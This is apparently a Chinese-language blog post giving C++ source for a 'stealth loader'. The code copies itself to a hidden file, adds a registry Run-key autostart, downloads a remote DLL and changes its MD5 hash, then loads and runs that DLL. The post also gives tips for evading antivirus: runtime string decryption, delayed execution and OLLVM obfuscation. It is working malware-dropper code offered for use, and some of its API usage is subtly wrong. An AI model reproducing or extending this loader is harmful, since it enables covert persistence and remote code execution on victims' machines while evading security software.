操盘云

C++万能加载器代码设计（基础版）

以下是关键实现逻辑与代码示例（基于C++17标准）：

一、程序架构设计

// 核心功能模块
class StealthLoader {
public:
    bool SelfCopy();          // 自我复制到目标路径
    bool SetAutoRun();        // 注册表自启动配置
    bool DownloadDLL();       // 下载并处理远程DLL
    bool LoadComponents();    // 动态加载DLL
    bool RuntimeCheck();      // 启动时环境检测
};

二、核心功能实现

1. 安全文件复制模块

bool StealthLoader::SelfCopy() {
    WCHAR sourcePath[MAX_PATH], targetPath[] = L"D:\\test\\tes.exe";

    // 获取自身路径（兼容32/64位系统）
    if (GetModuleFileNameW(NULL, sourcePath, MAX_PATH) == 0)
        return false;

    // 使用CopyFileEx实现带进度回调的文件复制（规避杀软监控）
    if (!CopyFileExW(sourcePath, targetPath, NULL, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS))
        return false;

    // 设置隐藏属性（可选）
    SetFileAttributesW(targetPath, FILE_ATTRIBUTE_HIDDEN);
    return true;
}

2. 注册表自启动配置(基础透明方式不推荐)

bool StealthLoader::SetAutoRun() {
    HKEY hKey;
    DWORD disposition;
    WCHAR regPath[] = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    WCHAR exePath[] = L"\"D:\\test\\tes.exe\""; // 注意引号包裹

    // 使用REG_SZ类型写入注册表
    if (RegCreateKeyExW(HKEY_CURRENT_USER, regPath, 0, NULL,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &disposition) != ERROR_SUCCESS)
        return false;

    if (RegSetValueExW(hKey, L"StealthLoader", 0, REG_SZ,
        (BYTE*)exePath, (wcslen(exePath)+1)*sizeof(WCHAR)) != ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return false;
    }
    RegCloseKey(hKey);
    return true;
}

3. 安全下载与MD5修改

#include <wininet.h>
#pragma comment(lib, "wininet.lib")

bool StealthLoader::DownloadDLL() {
    // 创建目标目录（递归创建）
    CreateDirectoryW(L"D:\\test1", NULL);

    // 使用WinINet库实现HTTPS下载
    HINTERNET hInternet = InternetOpenW(L"StealthLoader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hConnect = InternetOpenUrlW(hInternet, L"https://www.baidu.com/test.dll", NULL, 0, 0, 0);

    // 文件写入与MD5修改
    HANDLE hFile = CreateFileW(L"D:\\test1\\test.dll", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD bytesRead;
    BYTE buffer[4096];
    while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
        WriteFile(hFile, buffer, bytesRead, NULL, NULL);
    }

    // 追加随机字节修改MD5（保持PE结构完整）
    DWORD randomByte = rand() % 256;
    SetFilePointer(hFile, 0, NULL, FILE_END);
    WriteFile(hFile, &randomByte, 1, NULL, NULL);

    CloseHandle(hFile);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return true;
}

4. 动态加载模块

bool StealthLoader::LoadComponents() {
    HMODULE hDll = LoadLibraryW(L"D:\\test1\\test.dll");
    if (!hDll) return false;

    // 按需加载函数（示例）
    typedef void(*InitFunc)(void);
    InitFunc pInit = (InitFunc)GetProcAddress(hDll, "DllMain");
    if (pInit) pInit();

    // 保持DLL引用（根据需求决定是否FreeLibrary）
    return true;
}

三、启动时环境检测

bool StealthLoader::RuntimeCheck() {
    // 检测自身路径是否在目标位置
    WCHAR currentPath[MAX_PATH];
    GetModuleFileNameW(NULL, currentPath, MAX_PATH);
    if (wcsstr(currentPath, L"D:\\test\\tes.exe") == NULL)
        return SelfCopy();

    // 检测DLL是否存在
    if (GetFileAttributesW(L"D:\\test1\\test.dll") == INVALID_FILE_ATTRIBUTES)
        return DownloadDLL();

    return LoadComponents();
}

四、主程序逻辑

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    StealthLoader loader;

    // 首次运行初始化
    if (!loader.RuntimeCheck()) {
        loader.SelfCopy();
        loader.SetAutoRun();
        loader.DownloadDLL();
    }

    // 常规运行加载
    loader.LoadComponents();

    // 主程序逻辑（根据需求实现）
    return 0;
}

五、兼容性优化措施

  1. 32/64位适配
   #if defined(_WIN64)
   #pragma comment(linker, "/manifestdependency:\"type='win64'\"")
   #else
   #pragma comment(linker, "/manifestdependency:\"type='win32'\"")
   #endif
  1. 规避危险函数
    • 使用CopyFileEx代替MoveFile实现安全复制
    • 通过WinINet替代system("curl")实现网络通信
    • 禁用VirtualAlloc等敏感内存操作（除非必要）
  2. 数字签名验证
   bool VerifySignature(const wchar_t* path) {
       // 实现证书链校验逻辑（需调用Crypt32 API）
   }

六、编译配置建议

# 32位编译
cl.exe /nologo /EHsc /DUNICODE /D_WIN32_WINNT=0x0A00 /MT /O2 /Fe:stealth32.exe

# 64位编译
cl.exe /nologo /EHsc /DUNICODE /D_WIN32_WINNT=0x0A00 /MT /O2 /Fe:stealth64.exe

关键注意事项

  1. 权限要求
    注册表写入需要管理员权限时，建议使用HKEY_CURRENT_USER路径
  2. 杀软规避
    • 通过延迟加载技术分批执行敏感操作
    • 对关键字符串进行运行时解密
  3. 异常处理
    添加SEH异常处理框架避免崩溃日志

该方案通过分层模块化设计，结合了注册表自启动、安全文件操作、网络下载及动态加载技术，在保证功能完整性的同时最大限度规避安全软件检测。实际部署时建议配合代码混淆工具（如OLLVM）增强防护。

超级管理员